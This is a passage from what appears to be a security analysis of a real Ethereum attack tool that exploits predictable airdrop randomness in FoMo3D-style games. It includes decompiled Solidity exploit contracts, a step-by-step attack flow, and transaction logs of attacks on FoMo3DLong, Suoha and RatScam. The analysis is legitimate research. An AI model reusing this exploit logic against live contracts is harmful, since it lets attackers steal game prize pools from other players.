assembly {
mstore(0, num)
hash := keccak256(0x06, 0x1a)
}
}
else {
revert();
}
return hash;
}

// code entrance: 0x088b
function getRandom() private view returns (uint256) {
// assert (block.timestamp != 0);
uint256 num = uint256(block.timestamp
+ block.difficulty
+ ((uint256(keccak256(abi.encodePacked(block.coinbase))))
/ block.timestamp)
+ block.gaslimit
+ block.number
);
return num;
}

// code entrance: 0x0942
function airdrop(address _addr, uint256 _rand,
uint256 _tracker) private view returns (bool) {
// assert (block.timestamp != 0);
uint256 seed = uint256(keccak256(
abi.encodePacked(
((uint256(keccak256(
abi.encodePacked(address(_addr)))))
/ block.timestamp) + _rand)
));
// 0x03e8 = 1000
return ((seed - ((seed / 1000) * 1000)) < _tracker);
}

/*
00 18f8cf1d
04 00000001
08 0000000000000000000000000000000000000000
1c e2d4306b
inovke createChild2()
*/
// code entrance: 0x0c4e
function headerForChild2(address _addr) private pure
returns (uint256) {
uint256 num = ( 0x18f8cf1d000000010000000000000000000000000000000000000000e2d4306b
+ (0x0100000000 * uint256(_addr))
);
return num;
}

/*
00 18f8cf1d
04 00000001
08 0000000000000000000000000000000000000000
1c 059d2922
invoke createChild1()
*/
function headerForChild1(address _proxy) private pure
returns (uint256) {
uint256 num = (
0x18f8cf1d000000010000000000000000000000000000000000000000059d2922
+ (uint256(_proxy) * 0x0100000000)
);
return num;
}
}

contract child1 {
constructor (address _target, uint256 _affCode, address _caller,
address payable _owner) public payable {
// selector: 0x5c644ae8
(bool success,) = _caller.delegatecall(
abi.encodeWithSelector(0x5c644ae8, _target, _affCode)
);
selfdestruct(_owner);
}
}

contract child2 {
constructor (address _target, uint256 _affCode, address _caller,
address payable _owner) public payable {
// selector: 0xc1e7ce6b
(bool success,) = _caller.delegatecall(
abi.encodeWithSelector(0xc1e7ce6b, _target, _affCode)
);
selfdestruct(_owner);
}
}

The back end smart contract provides many functions for attackers to launch a variety of attacks.

The two main entry points are exploitWithChild1() and exploitWithChild2(). These two functions have selectors 0xbf6001c3 and 0x82fcb560, respectively. The difference between these two attacks is the way to purchase keys in the game to be attacked. More specifically, in attacks using exploitWithChild1(), keys will be bought by using user ID as affiliate code, while in attacks using exploitWithChild2(), keys will be purchased by using the given affiliate codes.

Therefore, except the difference in key purchase, these two attack methods are essentially the same. So, let us look at only function exploitWithChild1() in details.

The function exploitWithChild1() takes 4 parameters as its inputs: the address of target to be attacked, the affiliate code of the player, the minimum amount of the pot, and the minimum number of qualified transactions (i.e., tracker).

The function first contacts the target to get back the values of “airDropPot_” and “airDropTracker_”, and compares them to their required minimum values. If any one of them fails to meet the requirement, the function simply reverts the transaction.

Otherwise, the function will search in the pool of smart contracts and try to find such a smart contract that can win the airdrop prize. If such a smart contract can be found, it will invoke the function execute() of this smart contract. In return, the execute() function of this selected smart contract will invoke function createChild1(), which will create a new smart contract by using contract child1 as the template.

Within the constructor of the newly created smart contract, the function exploit() with selector 0x5c644ae8 will be invoked.

The actual attack will be launched within the function exploit(), which performs the following steps.

  1. It interacts with the target to fetch the value of “airDropTracker_”.
  2. It verifies that it indeed can win the airdrop prize by calling the function airdrop().
  3. It purchases keys by invoking the function buyXid() in the target contract.
  4. It claims the airdrop prize by calling the function withdraw() in the target contract.

As the function exploit() is called within the constructor of the newly created smart contract, so, the execution will return to the context of the constructor of the new contract. At this point, the constructor will run the “selfdestruct” statement and the new smart contract will be destroyed.

Exploitation in action

The attack tool consists of two smart contracts: the front end and the back end. Any attack is performed by the close interactions between the front end and back end smart contracts.

Before launching any attack, the attackers must establish the connection between the front end and back end.

The attackers use the following transaction to connect the front end with the back end.

Transaction Hash:
0xea3cfb67a08d574583464496640e4e9d062d3cfc6c674ef66eaf9b46341fc183
Status: Success
Block: 6012145 2807347 Block Confirmations
Timestamp: 461 days 6 hrs ago (Jul-22-2018 09:35:35 PM +UTC)
From: 0x2ca860ad6b4d2c79a88fb5b1628810f2bf487287
To: Contract 0x65330e7faaa0a92b47a64036af8d682449fa72cd
Value: 0 Ether ($0.00)
Transaction Fee: 0.000086694 Ether ($0.02)
Gas Limit: 2,500,000
Gas Used by Transaction: 28,898 (1.16%)
Gas Price: 0.000000003 Ether (3 Gwei)
Nonce Position 807 27
Input Data: 0xa5b4e966
00000000000000000000000004941c04f84eef29232aed1d394eefbeca41c614
0000000000000000000000000000000000000000000000000000000000000000

This transaction invokes function with selector 0xa5b4e966, which is the function setProxyAndFlag() in the front end contract.

The function takes two parameters as inputs: the address of the back end smart contract and a flag.

In this transaction, the address of the back end smart contract is 0x0494, which is exactly the back end we introduced before.

In addition, a pool of smart contracts must be built before any attack can by launched. As the size of the contract pool could be larger (e.g., around 1000 smart contracts in the pool), it may require multiple transactions to build the contract pool.

One of such transactions that build the contract pool is shown below.

Transaction Hash: 0xcfdf2ae064b88d7fd7d18cf9e1c4dfabc31c0e9c92dc182e327e07c0b284b0c3
Status: Success
Block: 6011239 2798646 Block Confirmations
Timestamp: 459 days 21 hrs ago (Jul-22-2018 06:05:08 PM +UTC)
From: 0x2ca860ad6b4d2c79a88fb5b1628810f2bf487287
To: Contract 0x65330e7faaa0a92b47a64036af8d682449fa72cd
Value: 0 Ether ($0.00)
Transaction Fee: 0.004876035 Ether ($0.82)
Gas Limit: 1,700,000
Gas Used by Transaction: 1,625,345 (95.61%)
Gas Price: 0.000000003 Ether (3 Gwei)
Nonce Position 687 47
Input Data: 0xea2c23da
000000000000000000000000000000000000000000000000000000000000000a

This transaction created 10 smart contracts and put them into the pool.

After the connection between front end and back end has been set up and the pool of smart contracts is built, the real attacks can begin.

As the target to be attacked is not hard coded in the front end or back end, the attack tool can be used to exploit any game in the FoMo3D game family as well as its copycats.

Attacking FoMo3DLong

The attack tool is mainly used to launch attacks against FoMo3DLong game. So, let us look at some attacks on this game.

Here is one attack on FoMo3DLong game by this attack tool.

Transaction Hash: 0xb1f61b8fdfadfe45e456a579f2e16308f92ccd946ffcb4cd6372fd3ea65580e5
Status: Success
Block: 6042389 2980007 Block Confirmations
Timestamp: 489 days 16 hrs ago (Jul-28-2018 01:06:54 AM +UTC)
From: 0x2ca860ad6b4d2c79a88fb5b1628810f2bf487287
To: Contract 0x65330e7faaa0a92b47a64036af8d682449fa72cd
TRANSFER 0.1 Ether From 0x65330e7faaa0a92b47a64036af8d682449fa72cd To 0xb77118b987f46ffa33df887265b66e9dc68cf060
TRANSFER 0.1 Ether From 0xb77118b987f46ffa33df887265b66e9dc68cf060 To 0xaf56b40a672d1e5b11cf9f9d16607421a7c9efc6
TRANSFER 0.1 Ether From 0xaf56b40a672d1e5b11cf9f9d16607421a7c9efc6 To 0xa62142888aba8370742be823c1782d17a0389da1
TRANSFER 0.002 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xdd4950f977ee28d2c132f1353d1595035db444ee
TRANSFER 0.002 Ether From 0xdd4950f977ee28d2c132f1353d1595035db444ee To 0x4c7b8591c50f4ad308d07d6294f2945e074420f5
TRANSFER 0.001 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xf9ba0955b0509ac6138908ccc50d5bd296e48d7d
TRANSFER 0.01 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xc7029ed9eba97a096e72607f4340c34049c7af48
TRANSFER 0.126633299505543651 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xaf56b40a672d1e5b11cf9f9d16607421a7c9efc6
SELF DESTRUCT Contract 0xaf56b40a672d1e5b11cf9f9d16607421a7c9efc6Value: 0 Ether ($0.00)
Transaction Fee: 0.0731379565 Ether ($11.37)
Gas Limit: 2,500,000
Gas Used by Transaction: 720,571 (28.82%)
Gas Price: 0.0000001015 Ether (101.5 Gwei)
Nonce Position 1093 19
Input Data: 0xbf6001c3
000000000000000000000000a62142888aba8370742be823c1782d17a0389da1
000000000000000000000000000000000000000000000000000000000000041a
000000000000000000000000000000000000000000000000058d15e176280000
0000000000000000000000000000000000000000000000000000000000000001

This transaction triggers the function exploitWithChild1(), which has function selector 0xbf6001c3. The transaction provides the function 4 parameters: the attack target, the affiliate code, the minimum pot, and the minimum tracker.

From these parameters, we can see that the target to be attacked is 0xa621, which is the address of FoMo3DLong game. The affiliate code is 0x41a, the minimum pot is 0.4 Ethers, and minimum tracker is 1.

The information on the transaction shown above also indicates that the amount of money for key purchase is 0.1 Ethers. The airdrop prize won by this attack is 0.126633299505543651 Ethers. So, the net gain is 0.026633299505543651 Ethers.

It is interesting to note that the transaction fee is 0.0731379565 Ethers. Thus, even though the attacker won the airdrop prize, the attacker actually lost money in this attack if we take the transaction fee into considerations.

The main reason is that the gas prize is set to a high value: 101.5 Gwei.

As comparison, let us look at another attack.

Transaction Hash: 0x3523851e268747d84696dbf586558e8bd764f17abc686d74f114697e8d566270
Status: Success
Block: 6025502 2996908 Block Confirmations
Timestamp: 492 days 13 hrs ago (Jul-25-2018 04:21:01 AM +UTC)
From: 0x2ca860ad6b4d2c79a88fb5b1628810f2bf487287
To: Contract 0x65330e7faaa0a92b47a64036af8d682449fa72cd
TRANSFER 0.1 Ether From 0x65330e7faaa0a92b47a64036af8d682449fa72cd To 0x8bf30621619a550c4241ba5296dd1f04a77ba376
TRANSFER 0.1 Ether From 0x8bf30621619a550c4241ba5296dd1f04a77ba376 To 0xd934e9e983cf31f67fbf0b8d836bebaaf2be04c2
TRANSFER 0.1 Ether From 0xd934e9e983cf31f67fbf0b8d836bebaaf2be04c2 To 0xa62142888aba8370742be823c1782d17a0389da1
TRANSFER 0.002 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xdd4950f977ee28d2c132f1353d1595035db444ee
TRANSFER 0.002 Ether From 0xdd4950f977ee28d2c132f1353d1595035db444ee To 0x4c7b8591c50f4ad308d07d6294f2945e074420f5
TRANSFER 0.001 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xf9ba0955b0509ac6138908ccc50d5bd296e48d7d
TRANSFER 0.01 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xc7029ed9eba97a096e72607f4340c34049c7af48
TRANSFER 0.105753966617348485 Ether From 0xa62142888aba8370742be823c1782d17a0389da1 To 0xd934e9e983cf31f67fbf0b8d836bebaaf2be04c2
SELF DESTRUCT Contract 0xd934e9e983cf31f67fbf0b8d836bebaaf2be04c2Value: 0 Ether ($0.00)
Transaction Fee: 0.0030794225 Ether ($0.48)
Gas Limit: 2,500,000
Gas Used by Transaction: 559,895 (22.4%)
Gas Price: 0.0000000055 Ether (5.5 Gwei)
Nonce Position 1083 56
Input Data:
0xbf6001c3
000000000000000000000000a62142888aba8370742be823c1782d17a0389da1
000000000000000000000000000000000000000000000000000000000000041a
000000000000000000000000000000000000000000000000058d15e176280000
0000000000000000000000000000000000000000000000000000000000000001

This transaction also won an airdrop prize 0.105753966617348485 Ethers. The amount of key purchase is 0.1 Ethers, so, the net profit is 0.005753966617348485 Ethers, which is much smaller compared to the previous attack, 0.026633299505543651 Ethers.

However, the gas prize in this transaction is 5.5 Gwei, which is much smaller than that of the previous attack, 101.5 Gwei. Thus, the transaction fee of this attack is only 0.0030794225 Ethers.

Even we take the transaction fee into considerations, this attack can still earn a little bit.

Attacking Suoha

Some information about the smart contract for the Suoha game is given below.

contract address: 0x460A5098248f4aa1A46Eec6AAc78B7819ea01C42
contract creator: 0x51e6c95A7C123614Dbb4a25Def5d756b2C6a6643
creation time: Jul-23-2018 10:48:26 PM +UTC
creation block: 6018339
total number of transactions: 3561
source code:
https://etherscan.io/address/0x460A5098248f4aa1A46Eec6AAc78B7819ea01C42#code

One of the attacks against the Suoha game is launched in the following transaction.

Transaction Hash: 0xde1d6cd46d8cc0960e1a0f376c453af73202d990cc5a50e119be6a4e5144d1fc
Status: Success
Block: 6021171 3001292 Block Confirmations
Timestamp: 493 days 7 hrs ago (Jul-24-2018 10:42:05 AM +UTC)
From: 0x2ca860ad6b4d2c79a88fb5b1628810f2bf487287
To: Contract 0x65330e7faaa0a92b47a64036af8d682449fa72cd
TRANSFER 0.1 Ether From 0x65330e7faaa0a92b47a64036af8d682449fa72cd To 0x34cda43adcbbf34423dc7f14fca518527eed2ca2
TRANSFER 0.1 Ether From 0x34cda43adcbbf34423dc7f14fca518527eed2ca2 To 0xb697d472e627aa01fb9a96657682a8d5bbc26686
TRANSFER 0.1 Ether From 0xb697d472e627aa01fb9a96657682a8d5bbc26686 To 0x460a5098248f4aa1a46eec6aac78b7819ea01c42
TRANSFER 0.022 Ether From 0x460a5098248f4aa1a46eec6aac78b7819ea01c42 To 0x5707d1322237300fc0a0be9b3159b0ba41eefeef
TRANSFER 0.105634516896045092 Ether From 0x460a5098248f4aa1a46eec6aac78b7819ea01c42 To 0xb697d472e627aa01fb9a96657682a8d5bbc26686
SELF DESTRUCT Contract 0xb697d472e627aa01fb9a96657682a8d5bbc26686Value: 0 Ether ($0.00)
Transaction Fee: 0.0049581935 Ether ($0.77)
Gas Limit: 2,500,000
Gas Used by Transaction: 762,799 (30.51%)
Gas Price: 0.0000000065 Ether (6.5 Gwei)
Nonce Position 1073 118
Input Data:
0xbf6001c3
000000000000000000000000460a5098248f4aa1a46eec6aac78b7819ea01c42
000000000000000000000000000000000000000000000000000000000000041a
000000000000000000000000000000000000000000000000058d15e176280000
0000000000000000000000000000000000000000000000000000000000000001

The airdrop prize for this attack is 0.105634516896045092 Ethers. So, the net gain is 0.005634516896045092 Ethers.

Attacking RatScam

The information on the smart contract for the RatScam game is as follows.

contract address: 0x8a883a20940870Dc055F2070ac8eC847ed2d9918
contract creator: 0xc14f8469D4Bb31C8E69fae9c16E262f45edc3635
creation time: Jul-21-2018 07:31:37 PM +UTC
creation block: 6005657
total number of transactions: 9088
source code:
https://etherscan.io/address/0x8a883a20940870dc055f2070ac8ec847ed2d9918#code

One attack on the RatScam game is launched by the following transaction.

Transaction Hash: 0xa060500a385daeba9a03574bbcb9ee1b9737dc4b929878acfa2de93003f3740c
Status: Success
Block: 6012157 2807343 Block Confirmations
Timestamp: 461 days 6 hrs ago (Jul-22-2018 09:38:00 PM +UTC)
From: 0x2ca860ad6b4d2c79a88fb5b1628810f2bf487287
To: Contract 0x65330e7faaa0a92b47a64036af8d682449fa72cd
TRANSFER 0.1 Ether From 0x65330e7faaa0a92b47a64036af8d682449fa72cd To 0x97e079f4f9abbe7507f1228394da6369c81b0f96
TRANSFER 0.1 Ether From 0x97e079f4f9abbe7507f1228394da6369c81b0f96 To 0x282f415ca2b973009757e7c25333c053c54964e0
TRANSFER 0.1 Ether From 0x282f415ca2b973009757e7c25333c053c54964e0 To 0x8a883a20940870dc055f2070ac8ec847ed2d9918
TRANSFER 0.015 Ether From 0x8a883a20940870dc055f2070ac8ec847ed2d9918 To 0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0
TRANSFER 0.015 Ether From 0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0 To 0x474a9cd7b9030b02e07ca31807dbbb22625262c5
TRANSFER 0.130432706774041718 Ether From 0x8a883a20940870dc055f2070ac8ec847ed2d9918 To 0x282f415ca2b973009757e7c25333c053c54964e0
SELF DESTRUCT Contract 0x282f415ca2b973009757e7c25333c053c54964e0Value: 0 Ether ($0.00)
Transaction Fee: 0.0028296996 Ether ($0.50)
Gas Limit: 2,500,000
Gas Used by Transaction: 725,564 (29.02%)
Gas Price: 0.0000000039 Ether (3.9 Gwei)
Nonce Position 808 67
Input Data:
0xbf6001c3
0000000000000000000000008a883a20940870dc055f2070ac8ec847ed2d9918
000000000000000000000000000000000000000000000000000000000000041a
000000000000000000000000000000000000000000000000058d15e176280000
0000000000000000000000000000000000000000000000000000000000000002

The airdrop prize won by this transaction is 0.130432706774041718 Ethers. By deducting the cost of key purchase from it, the net profit is 0.030432706774041718 Ethers. If we further deducting the transaction fee from it, the net gain becomes 0.02760300717 Ethers.

References

--

--